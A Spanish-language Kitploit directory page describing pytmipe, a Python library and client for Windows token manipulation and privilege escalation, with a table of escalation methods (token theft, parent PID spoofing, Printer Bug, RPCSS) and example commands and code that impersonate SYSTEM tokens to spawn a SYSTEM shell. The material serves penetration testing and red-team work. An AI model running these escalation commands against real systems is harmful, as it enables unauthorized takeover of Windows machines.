Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pytmipe — Biblioteca y cliente de Python para manipulaciones de tokens y suplantaciones para escalada de privilegios en Windows | Kitploit
Herramientas/GitHubGitHub/quentinhardy/pytmipe
Escalada de PrivilegiosHerramientas de SuplantaciónPost-ExplotaciónPruebas de PenetraciónRed Teaming
GitHubquentinhardy/pytmipe

pytmipe

Biblioteca y cliente de Python para manipulaciones de tokens y suplantaciones para escalada de privilegios en Windows

Ver Repositorio
12323hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PYTMIPE & TMIPE

PYTMIPE (biblioteca de Python para Manipulación de Tokens y Suplantación para Escalada de Privilegios) es una biblioteca de Python 3 para manipular tokens de Windows y gestionar suplantaciones con el fin de obtener más privilegios en Windows. TMIPE es el cliente de Python 3 que utiliza la biblioteca pytmipe.

Contenido

  • Un cliente python: tmipe (python3 tmipe.py)
  • Una biblioteca python: pytmipe. Útil para incluir este proyecto en otro.
  • Ejemplos de pytinstaller, para obtener ejecutables independientes

Documentación

  • Diapositivas "Windows Token Manipulation, Impersonation & Privilege Escalation" (Inglés): enlace

  • Artículo en MISC 112 (Francés): enlace

Principales características

MétodoPrivilegio(s) Requerido(s)SO (no exhaustivo)Objetivo directo (máx)
Creación y suplantación de tokennombre de usuario y contraseñaTodosadministrador local
Suplantación/Robo de tokenSeDebugPrivilegeTodosnt authority\system
Suplantación de PID padre (herencia de identificadores)SeDebugPrivilege>= Vistant authority\system
Servicio (SCM)Administrador local (y nivel de integridad alto si UAC está habilitado)Todosnt authority\system o cuenta de dominio
Evento WMIAdministrador local (y nivel de integridad alto si UAC está habilitado)Todosnt authority\system
« Printer Bug » LPESeImpersonatePrivilege (cuenta de servicio)Windows 8.1, 10 & Server 2012R2/2016/2019nt authority\system
Servicio RPCSS LPESeImpersonatePrivilege (cuenta de servicio)Windows 10 & Server 2016/2019nt authority\system

Capacidades

La siguiente lista no exhaustiva muestra algunas características implementadas en la biblioteca pytmipe:

  • Gestión de tokens y privilegios:
    • obtener, habilitar o deshabilitar privilegios en el token para el hilo actual o remoto
    • obtener información del token local o remoto
    • obtener el token efectivo para el hilo actual (token de suplantación o primario)
  • Obtener mucha información sobre los tokens seleccionados:
    • tipo de elevación, tipo de suplantación, token vinculado con detalles, SID, ACL, grupos predeterminados, grupo primario, propietario, privilegios, origen
    • etc.
  • Listar todos los tokens accesibles (tokens primarios y de suplantación) desde el hilo actual:
    • 2 métodos diferentes implementados: método "thread" y método "handle" (favorito)
    • comprobar si el token puede ser suplantado
    • obtener información sobre cada token (tipo de elevación, tipo de suplantación, token vinculado, SID, etc.)
    • obtener todos los tokens accesibles por nombre de cuenta (SID)
  • Suplantar un token o usuario:
    • Crear token y suplantar (requiere credenciales del usuario)
    • Suplantación/robo de token (se requieren privilegios específicos): suplantar un token elegido
    • Crear proceso con un token (se requieren privilegios específicos): suplantar un token elegido y crear un nuevo proceso
    • Suplantar el primer token nt authority\system encontrado
    • suplantar el token primario de un proceso remoto con pid
  • Métodos de escalada:
    • Suplantación de PID padre - Herencia de identificadores
    • Administrador de servicios mediante comando directo o suplantación de pipe con nombre: de administrador local a nt authority\system (u otra cuenta privilegiada)
    • Programador de tareas mediante comando directo o suplantación de pipe con nombre: de administrador local a nt authority\system
    • Trabajo WMI mediante comando directo o suplantación de pipe con nombre: de administrador local a nt authority\system
    • Printer Bug: de SeImpersonatePrivilege a nt authority\system
    • RPCSS: de SeImpersonatePrivilege a nt authority\system
    • Rehabilitar privilegios mediante programación de tareas y suplantación de pipe con nombre

Dependencias

ctypes se utiliza la mayor parte del tiempo. Muchas características de pywin32 han sido re-desarrolladas en pytmipe para evitar el uso de pywin32 y obtener mejor portabilidad. Sin embargo, el módulo del Programador de tareas aún utiliza pywin32 (más precisamente pythoncom) por falta de tiempo. Todos los demás módulos usan solo ctypes.

CÓMO USAR

Para el cliente python (llamado tmipe):

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command
    cangetadmin          Check if user can get admin access
    printalltokens       Print all tokens accessible from current thread
    printalltokensbyname
                         Print all tokens accessible from current thread by account name
    printalltokensbypid  Print all tokens accessible from current thread by pid
    printsystemtokens    Print all system tokens accessible from current
    searchimpfirstsystem
                         search and impersonate first system token
    imppid               impersonate primary token of selected pid and try to spawn cmd.exe
    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
    printerbug           exploit the "printer bug" for getting system shell
    rpcss                exploit "rpcss" for getting system shell
    spoof                parent PID Spoofing ("handle inheritance)"
    impuser              create process with creds with impersonation
    runas                create process with creds as runas
    scm                  create process with Service Control Manager

optional arguments:
  -h, --help             show this help message and exit
  --version              show program's version number and exit

Para la biblioteca python (llamada pytmipe), consulte el código fuente y los ejemplos. Normalmente, he documentado bien el código fuente... La mayoría de las funciones están documentadas.

Para los ejemplos de pyinstaller y ejecutables independientes, consulte los archivos en las carpetas src/examples/.

Ejemplos

Si desea saber cómo usar la biblioteca pytmipe, consulte la carpeta src/examples para ver muchos ejemplos.

Ejemplo 1: obtener nt authority\system

Para suplantar el primer token system y obtener un símbolo del sistema cmd.exe como system desde el cliente python (tmipe):

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

Para hacer lo mismo directamente con la biblioteca pytmipe, consulte src/examples/searchAndImpersonateFirstSystemToken.py:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

Esto abrirá un símbolo del sistema cmd.exe como system si el usuario actual de Windows tiene los derechos requeridos.

Por supuesto, a partir de este código fuente, puede crear un ejecutable independiente con pyinstaller.

Ejemplo 2: obtener tokens

Para obtener los tokens primario y de suplantación utilizados en el proceso actual:

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

Salida:

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

Para obtener todos los tokens accesibles desde el hilo actual, organizados por pid, solo cuando la suplantación sea posible:

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

Salida:

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

Si desea realizar esta operación con la biblioteca pytmipe, también es fácil:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Ejemplo 3: suplantar token

Puede suplantar un token seleccionado.

Primer paso, obtenga todos los tokens según sus filtros (tokens system y tokens que pueden ser suplantados por el hilo actual):

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

Salida:

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

Esta salida anterior muestra un token de suplantación ubicado en el pid 2288 (ihandle 118), que tiene un nivel de integridad system. Es posible suplantar este token específico con el siguiente comando:

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

Este comando anterior abre un cmd.exe como nt authority\system.

Esto también se puede hacer con la biblioteca pytmipe. El siguiente código fuente suplanta el primer token system disponible, imprime el token efectivo y detiene la suplantación:

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("No one token found for impersonation")
else:
    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Current Effective token for current thread after impersonation:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Current Effective token for current thread (impersonation finished):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Donación

Si desea apoyar mi trabajo haciendo una donación, lo apreciaré mucho:

Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

Descargar herramienta